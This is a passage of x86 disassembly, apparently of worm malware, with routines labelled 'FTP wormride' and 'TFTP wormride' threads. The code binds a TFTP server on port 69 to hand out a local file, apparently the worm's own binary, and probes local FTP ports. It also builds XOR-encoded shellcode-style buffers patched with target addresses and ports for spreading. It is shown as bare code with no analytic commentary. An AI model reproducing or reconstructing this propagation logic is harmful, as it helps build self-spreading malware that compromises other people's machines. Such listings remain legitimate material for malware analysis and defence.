		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	edi
		call	sub_403D9D
		push	32h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DF6
		add	esp, 28h
		test	eax, eax
		jz	loc_40DD30
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DD30
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_405AB9
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4177E8
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD30
		call	sub_40B480
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_4177DC
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	edi
		call	sub_403D9D
		push	32h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DF6
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_40DD30
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DD30
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_405AB9
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4177D8
		push	eax
		call	sub_41177E	; strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40DD32
; ---------------------------------------------------------------------------

loc_40DD30:				; CODE XREF: sub_40DBD7+1Aj
					; sub_40DBD7+38j ...
		xor	eax, eax

loc_40DD32:				; CODE XREF: sub_40DBD7+157j
		pop	edi
		pop	esi
		leave
		retn
sub_40DBD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD36	proc near		; CODE XREF: .packed:0040DE44p

var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		xor	ebx, ebx
		push	1
		pop	edi

loc_40DD66:				; CODE XREF: sub_40DD36+83j
		lea	eax, [ebp+var_8]
		push	0Ah
		push	eax
		push	edi
		call	sub_41192A	; _itoa
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_403C04
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jz	short loc_40DDB2
		push	esi
		call	sub_40DBD7
		test	eax, eax
		pop	ecx
		jz	short loc_40DDAB
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		call	sub_403644
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	short loc_40DDBF

loc_40DDAB:				; CODE XREF: sub_40DD36+60j
		push	esi
		call	sub_403D92
		pop	ecx

loc_40DDB2:				; CODE XREF: sub_40DD36+55j
		inc	edi
		cmp	edi, 0FFFFh
		jb	short loc_40DD66
		test	ebx, ebx
		jnz	short loc_40DDCC

loc_40DDBF:				; CODE XREF: sub_40DD36+73j
		push	[ebp+var_1B0]
		call	sub_406E6F
		jmp	short loc_40DE36
; ---------------------------------------------------------------------------

loc_40DDCC:				; CODE XREF: sub_40DD36+87j
		mov	eax, [ebp+var_1B0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1AC]
		push	offset unk_4177FC
		push	eax
		call	sub_4096CB
		add	esp, 0Ch

loc_40DDE8:				; CODE XREF: sub_40DD36+ECj
		push	3E8h
		push	ebx
		call	sub_403767
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40DE18
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DE18
		push	esi
		push	offset sub_40D6E0
		call	sub_406C5D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE18
		push	esi
		call	sub_403D92
		pop	ecx

loc_40DE18:				; CODE XREF: sub_40DD36+C3j
					; sub_40DD36+C8j ...
		mov	eax, [ebp+var_1B0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40DDE8
		push	ebx
		call	sub_40392A
		push	[ebp+var_1B0]
		call	sub_406E6F
		pop	ecx

loc_40DE36:				; CODE XREF: sub_40DD36+94j
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40DD36	endp

; ---------------------------------------------------------------------------

loc_40DE40:				; DATA XREF: sub_40DE4C+3Eo
		push	dword ptr [esp+4]
		call	sub_40DD36
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40DE4C	proc near		; CODE XREF: sub_407A76+485p
					; sub_407A76:loc_407F1Bp

arg_0		= dword	ptr  4

		push	esi
		call	sub_403338
		test	eax, eax
		jnz	short loc_40DE98
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40DE98
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_40457C
		xor	eax, eax
		pop	ecx
		cmp	[edi+18Bh], al
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		setz	al
		push	eax
		push	esi
		push	offset loc_40DE40
		call	sub_406D58
		add	esp, 10h
		pop	edi

loc_40DE98:				; CODE XREF: sub_40DE4C+8j
					; sub_40DE4C+19j
		pop	esi
		retn
sub_40DE4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE9A	proc near		; DATA XREF: sub_40E243+35o

var_D7C		= dword	ptr -0D7Ch
var_D78		= dword	ptr -0D78h
var_578		= byte ptr -578h
var_478		= dword	ptr -478h
var_474		= byte ptr -474h
var_2D0		= byte ptr -2D0h
var_2CF		= byte ptr -2CFh
var_2CE		= byte ptr -2CEh
var_2CD		= byte ptr -2CDh
var_2CC		= byte ptr -2CCh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_CA		= byte ptr -0CAh
var_C9		= byte ptr -0C9h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0D7Ch
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_478]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		xor	ebx, ebx
		push	ebx
		push	2
		pop	esi
		push	esi
		push	esi
		call	dword_41222C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40E22E
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_40348C
		push	10h
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 14h
		mov	[ebp+var_3C], si
		push	45h
		call	dword_412248	; htons
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_578]
		push	eax
		call	dword_412254	; inet_addr
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	edi
		mov	[ebp+var_10], 1
		call	dword_412218	; setsockopt
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_41221C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E22E
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40DF71
		push	edi
		jmp	loc_40E228
; ---------------------------------------------------------------------------

loc_40DF71:				; CODE XREF: sub_40DE9A+CFj
		mov	eax, [ebp+var_478]
		push	dword ptr [eax]
		lea	eax, [ebp+var_474]
		push	offset unk_4178A8
		push	eax
		call	sub_4096CB
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_411516	; fseek
		push	[ebp+arg_0]
		call	sub_4114F4	; ftell
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		call	sub_411516	; fseek
		push	80h
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		mov	esi, dword_412260
		add	esp, 34h

loc_40DFC4:				; CODE XREF: sub_40DE9A+1A2j
					; sub_40DE9A+1A7j ...
		push	1
		mov	ecx, [ebp+var_4]
		pop	eax
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], eax
		mov	[ebp+var_D7C], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D78], ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_D7C]
		push	ebx
		push	eax
		push	ebx
		call	dword_412214	; select
		test	eax, eax
		jle	loc_40E20D
		mov	al, byte_4191D0
		mov	ecx, 80h
		mov	[ebp+var_2D0], al
		xor	eax, eax
		lea	edi, [ebp+var_2CF]
		mov	[ebp+var_8], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_CC]
		push	80h
		push	eax
		push	[ebp+var_4]
		call	dword_412268	; recvfrom
		cmp	eax, ebx
		jz	short loc_40DFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DFC4
		cmp	[ebp+var_CC], bl
		jnz	loc_40E1F9
		cmp	[ebp+var_CB], 1
		jnz	loc_40E0F7
		lea	eax, [ebp+var_CA]
		push	eax
		call	sub_4114BE	; strlen
		mov	edi, offset aOctet ; "octet"
		lea	eax, [ebp+eax+var_C9]
		push	edi
		mov	[ebp+var_C], eax
		call	sub_4114BE	; strlen
		push	eax
		push	[ebp+var_C]
		push	edi
		call	sub_411570	; strncmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E0A2
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	13h
		push	offset dword_41788C
		jmp	loc_40E208
; ---------------------------------------------------------------------------

loc_40E0A2:				; CODE XREF: sub_40DE9A+1F2j
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_411516	; fseek
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2CC]
		mov	[ebp+var_2D0], bl
		mov	[ebp+var_2CF], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_2CE], bl
		mov	[ebp+var_2CD], 1
		call	sub_411510	; fread
		add	esp, 1Ch
		lea	ecx, [ebp+var_24]
		add	eax, 4
		push	[ebp+var_8]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_2D0]
		push	eax
		jmp	loc_40E208
; ---------------------------------------------------------------------------

loc_40E0F7:				; CODE XREF: sub_40DE9A+1BCj
		cmp	[ebp+var_CB], 4
		jnz	loc_40E1F9
		mov	cl, [ebp+var_C9]
		mov	al, [ebp+var_CA]
		cmp	cl, 0FFh
		mov	[ebp+var_2D0], bl
		mov	[ebp+var_2CF], 3
		jnz	short loc_40E134
		inc	al
		xor	cl, cl
		mov	[ebp+var_2CE], al
		mov	[ebp+var_2CD], bl
		jmp	short loc_40E142
; ---------------------------------------------------------------------------

loc_40E134:				; CODE XREF: sub_40DE9A+286j
		inc	cl
		mov	[ebp+var_2CE], al
		mov	[ebp+var_2CD], cl

loc_40E142:				; CODE XREF: sub_40DE9A+298j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		push	ebx
		lea	eax, [eax+ecx-1]
		shl	eax, 9
		push	eax
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		call	sub_411516	; fseek
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2CC]
		push	200h
		push	1
		push	eax
		call	sub_411510	; fread
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_24]
		push	[ebp+var_8]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2D0]
		push	eax
		push	[ebp+var_4]
		call	esi	; sendto
		cmp	edi, ebx
		jnz	short loc_40E20D
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_14]
		jb	short loc_40E20D
		mov	edi, [ebp+var_20]
		push	edi
		push	offset dword_419EB0
		call	sub_407227
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_40E20D
		push	1
		push	offset dword_419EB4
		call	sub_407216
		pop	ecx
		mov	edi, eax
		pop	ecx
		push	10h
		push	[ebp+var_20]
		call	dword_412230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		lea	eax, [ebp+var_4C]
		inc	edi
		push	eax
		push	edi
		push	offset aWormride ; "wormride"
		push	offset unk_417850
		push	offset dword_418E50
		call	sub_409659
		add	esp, 14h
		jmp	short loc_40E20D
; ---------------------------------------------------------------------------

loc_40E1F9:				; CODE XREF: sub_40DE9A+1AFj
					; sub_40DE9A+264j
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	9
		push	offset dword_417844

loc_40E208:				; CODE XREF: sub_40DE9A+203j
					; sub_40DE9A+258j
		push	[ebp+var_4]
		call	esi	; sendto

loc_40E20D:				; CODE XREF: sub_40DE9A+158j
					; sub_40DE9A+2FAj ...
		mov	eax, [ebp+var_478]
		cmp	[eax+4], ebx
		jz	loc_40DFC4
		push	[ebp+arg_0]
		call	sub_411500	; fclose
		pop	ecx
		push	[ebp+var_4]

loc_40E228:				; CODE XREF: sub_40DE9A+D2j
		call	dword_412240	; closesocket

loc_40E22E:				; CODE XREF: sub_40DE9A+41j
					; sub_40DE9A+B3j
		push	[ebp+var_478]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40DE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E243	proc near		; CODE XREF: sub_407A76+49Bp
					; sub_407A76+4B1p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40E286
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_40457C
		xor	eax, eax
		pop	ecx
		cmp	[edi+18Bh], al
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		setz	al
		push	eax
		push	esi
		push	offset sub_40DE9A
		call	sub_406D58
		add	esp, 10h
		pop	edi

loc_40E286:				; CODE XREF: sub_40E243+10j
		pop	esi
		retn
sub_40E243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E288	proc near		; CODE XREF: sub_40E399+62p
					; sub_40E399+84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	esi
		cmp	[ebp+arg_4], edx
		jbe	short loc_40E2B7

loc_40E293:				; CODE XREF: sub_40E288+2Dj
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jbe	short loc_40E2B1
		mov	eax, [ebp+arg_0]
		mov	al, [edx+eax]
		xor	al, [ebp+arg_10]

loc_40E2A3:				; CODE XREF: sub_40E288+27j
		mov	esi, [ebp+arg_8]
		cmp	al, [ecx+esi]
		jz	short loc_40E2BC
		inc	ecx
		cmp	ecx, [ebp+arg_C]
		jb	short loc_40E2A3

loc_40E2B1:				; CODE XREF: sub_40E288+10j
		inc	edx
		cmp	edx, [ebp+arg_4]
		jb	short loc_40E293

loc_40E2B7:				; CODE XREF: sub_40E288+9j
		xor	eax, eax

loc_40E2B9:				; CODE XREF: sub_40E288+37j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40E2BC:				; CODE XREF: sub_40E288+21j
		push	1
		pop	eax
		jmp	short loc_40E2B9
sub_40E288	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2C1	proc near		; CODE XREF: sub_40CAA1+36p
					; sub_40CEBE+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 1
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40E2FA
		mov	eax, 0B2h
		cmp	[ebp+arg_4], eax
		jb	short loc_40E337
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_417A84
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	ebx, [esi+8Fh]
		lea	edi, [esi+88h]
		jmp	short loc_40E35C
; ---------------------------------------------------------------------------

loc_40E2FA:				; CODE XREF: sub_40E2C1+Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_40E32D
		mov	eax, 0C6h
		cmp	[ebp+arg_4], eax
		jb	short loc_40E337
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_4179BC
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	edi, [esi+89h]
		add	esi, 0C0h
		jmp	short loc_40E371
; ---------------------------------------------------------------------------

loc_40E32D:				; CODE XREF: sub_40E2C1+3Dj
		mov	eax, 0B2h
		cmp	[ebp+arg_4], eax
		jnb	short loc_40E33B

loc_40E337:				; CODE XREF: sub_40E2C1+14j
					; sub_40E2C1+47j
		xor	eax, eax
		jmp	short loc_40E394
; ---------------------------------------------------------------------------

loc_40E33B:				; CODE XREF: sub_40E2C1+74j
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_417908
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	ebx, [esi+86h]
		lea	edi, [esi+8Dh]

loc_40E35C:				; CODE XREF: sub_40E2C1+37j
		add	esi, 0ACh
		test	ebx, ebx
		jz	short loc_40E371
		push	[ebp+arg_C]
		call	dword_412254	; inet_addr
		mov	[ebx], eax

loc_40E371:				; CODE XREF: sub_40E2C1+6Aj
					; sub_40E2C1+A3j
		test	edi, edi
		jz	short loc_40E388
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[edi], ax

loc_40E388:				; CODE XREF: sub_40E2C1+B2j
		test	esi, esi
		jz	short loc_40E391
		mov	eax, [ebp+arg_14]
		mov	[esi], eax

loc_40E391:				; CODE XREF: sub_40E2C1+C9j
		mov	eax, [ebp+arg_4]

loc_40E394:				; CODE XREF: sub_40E2C1+78j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E2C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E399	proc near		; CODE XREF: .packed:0040B80Dp
					; sub_40BAAF+3Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 1Ch
		push	esi
		push	edi
		jb	short loc_40E3CE
		push	[ebp+arg_14]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_10]
		lea	eax, [esi+1Ch]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	eax
		call	sub_40E2C1
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_40E3D5

loc_40E3CE:				; CODE XREF: sub_40E399+Aj
		xor	eax, eax
		jmp	loc_40E492
; ---------------------------------------------------------------------------

loc_40E3D5:				; CODE XREF: sub_40E399+33j
		push	1Ch
		push	offset loc_4178E8
		push	esi
		call	sub_4114D0	; memcpy
		mov	eax, dword_417CB8
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_40E3ED:				; CODE XREF: sub_40E399+9Dj
		push	0
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		push	eax
		call	sub_40E288
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40E429
		mov	eax, [ebp+arg_4]
		push	0
		push	[ebp+arg_1C]
		xor	eax, edi
		mov	[ebp+arg_14], eax
		lea	eax, [ebp+arg_14]
		push	[ebp+arg_18]
		push	4
		push	eax
		call	sub_40E288
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E438

loc_40E429:				; CODE XREF: sub_40E399+6Cj
		call	sub_40B480
		mov	[ebp+arg_4], eax
		mov	dword_417CB8, eax
		jmp	short loc_40E3ED
; ---------------------------------------------------------------------------

loc_40E438:				; CODE XREF: sub_40E399+8Ej
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[esi+3], eax
		mov	eax, [ebp+arg_14]
		mov	[esi+9], eax
		mov	bl, byte_417CB5
		mov	byte ptr [ebp+arg_0], bl

loc_40E44E:				; CODE XREF: sub_40E399+DEj
		push	[ebp+arg_0]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		call	sub_40E288
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E479
		call	sub_40B4AB
		mov	bl, al
		mov	byte ptr [ebp+arg_0], bl
		mov	byte_417CB5, bl
		jmp	short loc_40E44E
; ---------------------------------------------------------------------------

loc_40E479:				; CODE XREF: sub_40E399+CCj
		xor	eax, eax
		mov	[esi+12h], bl
		test	edi, edi
		jbe	short loc_40E48E

loc_40E482:				; CODE XREF: sub_40E399+F3j
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		xor	[ecx], bl
		inc	eax
		cmp	eax, edi
		jb	short loc_40E482

loc_40E48E:				; CODE XREF: sub_40E399+E7j
		lea	eax, [edi+1Ch]
		pop	ebx

loc_40E492:				; CODE XREF: sub_40E399+37j
		pop	edi
		pop	esi
		leave
		retn
sub_40E399	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E496	proc near		; CODE XREF: sub_40E707+Fp
					; sub_40E829+51p ...

var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18Ch
		push	esi
		push	edi
		push	8
		push	4
		call	sub_40B459
		push	7Ah
		push	61h
		mov	edi, eax
		call	sub_40B459
		add	esp, 10h
		mov	[ebp+var_10], al
		push	1
		pop	esi
		cmp	edi, esi
		jz	short loc_40E4D6

loc_40E4C2:				; CODE XREF: sub_40E496+3Ej
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[ebp+esi+var_10], al
		inc	esi
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40E4C2

loc_40E4D6:				; CODE XREF: sub_40E496+2Aj
		lea	eax, [ebp+esi+var_10]
		push	offset dword_413620
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	esi, 17Ch
		lea	eax, [ebp+var_18C]
		push	esi
		push	offset dword_417B38
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_18C]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_403D9D
		add	esp, 28h
		pop	edi
		pop	esi
		leave
		retn
sub_40E496	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E523	proc near		; CODE XREF: sub_40E707+EAp
					; sub_40E829+75p ...

var_240		= byte ptr -240h
var_40		= byte ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_419EBC, edi
		push	1
		pop	ebx
		jnz	short loc_40E5AE
		cmp	off_418E20, edi
		mov	dword_419EBC, ebx
		jz	short loc_40E5AE
		mov	eax, offset off_418E20
		xor	esi, esi

loc_40E551:				; CODE XREF: sub_40E523+81j
		push	20h
		push	dword ptr [eax]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4059C2
		push	20h
		lea	eax, [ebp+var_40]
		push	off_417CC0[esi]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B5A8
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5A8
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41177E	; strcmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_40E5A8
		add	esi, 0Ch
		cmp	off_418E20[esi], edi
		lea	eax, off_418E20[esi]
		jnz	short loc_40E551
		jmp	short loc_40E5AE
; ---------------------------------------------------------------------------

loc_40E5A8:				; CODE XREF: sub_40E523+70j
		mov	dword_419EC0, ebx

loc_40E5AE:				; CODE XREF: sub_40E523+17j
					; sub_40E523+25j ...
		cmp	dword_419EC0, edi
		jnz	short loc_40E613
		push	offset aRb	; "rb"
		push	offset dword_419FE0
		call	sub_411506	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40E615
		mov	esi, 200h
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	sub_411510	; fread
		add	esp, 10h

loc_40E5E4:				; CODE XREF: sub_40E523+E7j
		test	eax, eax
		jz	short loc_40E60C
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		push	[ebp+arg_0]
		call	sub_403D9D
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	sub_411510	; fread
		add	esp, 1Ch
		jmp	short loc_40E5E4
; ---------------------------------------------------------------------------

loc_40E60C:				; CODE XREF: sub_40E523+C3j
		push	edi
		call	sub_411500	; fclose
		pop	ecx

loc_40E613:				; CODE XREF: sub_40E523+91j
		mov	eax, ebx

loc_40E615:				; CODE XREF: sub_40E523+A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E61A	proc near		; CODE XREF: sub_40E829+57p
					; sub_40E8E1+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E637
		leave
		retn
; ---------------------------------------------------------------------------

loc_40E637:				; CODE XREF: sub_40E61A+19j
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_412258	; recv
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40E61A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E64D	proc near		; CODE XREF: sub_40E829+67p
					; sub_40E8E1+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		xor	edi, edi
		xor	eax, eax
		cmp	off_417DC6, edi
		jz	short loc_40E69C
		mov	ecx, offset off_417DC6

loc_40E65F:				; CODE XREF: sub_40E64D+21j
		mov	edx, [ecx-8]
		cmp	edx, [esp+4+arg_0]
		jz	short loc_40E672
		add	ecx, 3Ah
		inc	eax
		cmp	[ecx], edi
		jnz	short loc_40E65F
		jmp	short loc_40E69C
; ---------------------------------------------------------------------------

loc_40E672:				; CODE XREF: sub_40E64D+19j
		imul	eax, 3Ah
		push	esi
		mov	esi, [esp+8+arg_4]
		lea	edi, dword_417D98[eax]
		push	3Ah
		push	edi
		push	esi
		call	sub_4114D0	; memcpy
		push	esi
		call	sub_40B5E1
		add	esi, 13h
		push	esi
		call	sub_40B5E1
		add	esp, 14h
		pop	esi

loc_40E69C:				; CODE XREF: sub_40E64D+Bj
					; sub_40E64D+23j
		mov	eax, edi
		pop	edi
		retn
sub_40E64D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6A0	proc near		; CODE XREF: sub_40E707+103p
					; sub_40E829+8Ap ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		mov	eax, [ebp+arg_0]
		push	esi
		add	eax, 2Ah
		push	1
		push	eax
		call	sub_407216
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4034DE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40E6E3
		lea	eax, [ebp+var_100]
		push	offset aUnknown	; "unknown"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_40E6E3:				; CODE XREF: sub_40E6A0+2Ej
		lea	eax, [ebp+var_100]
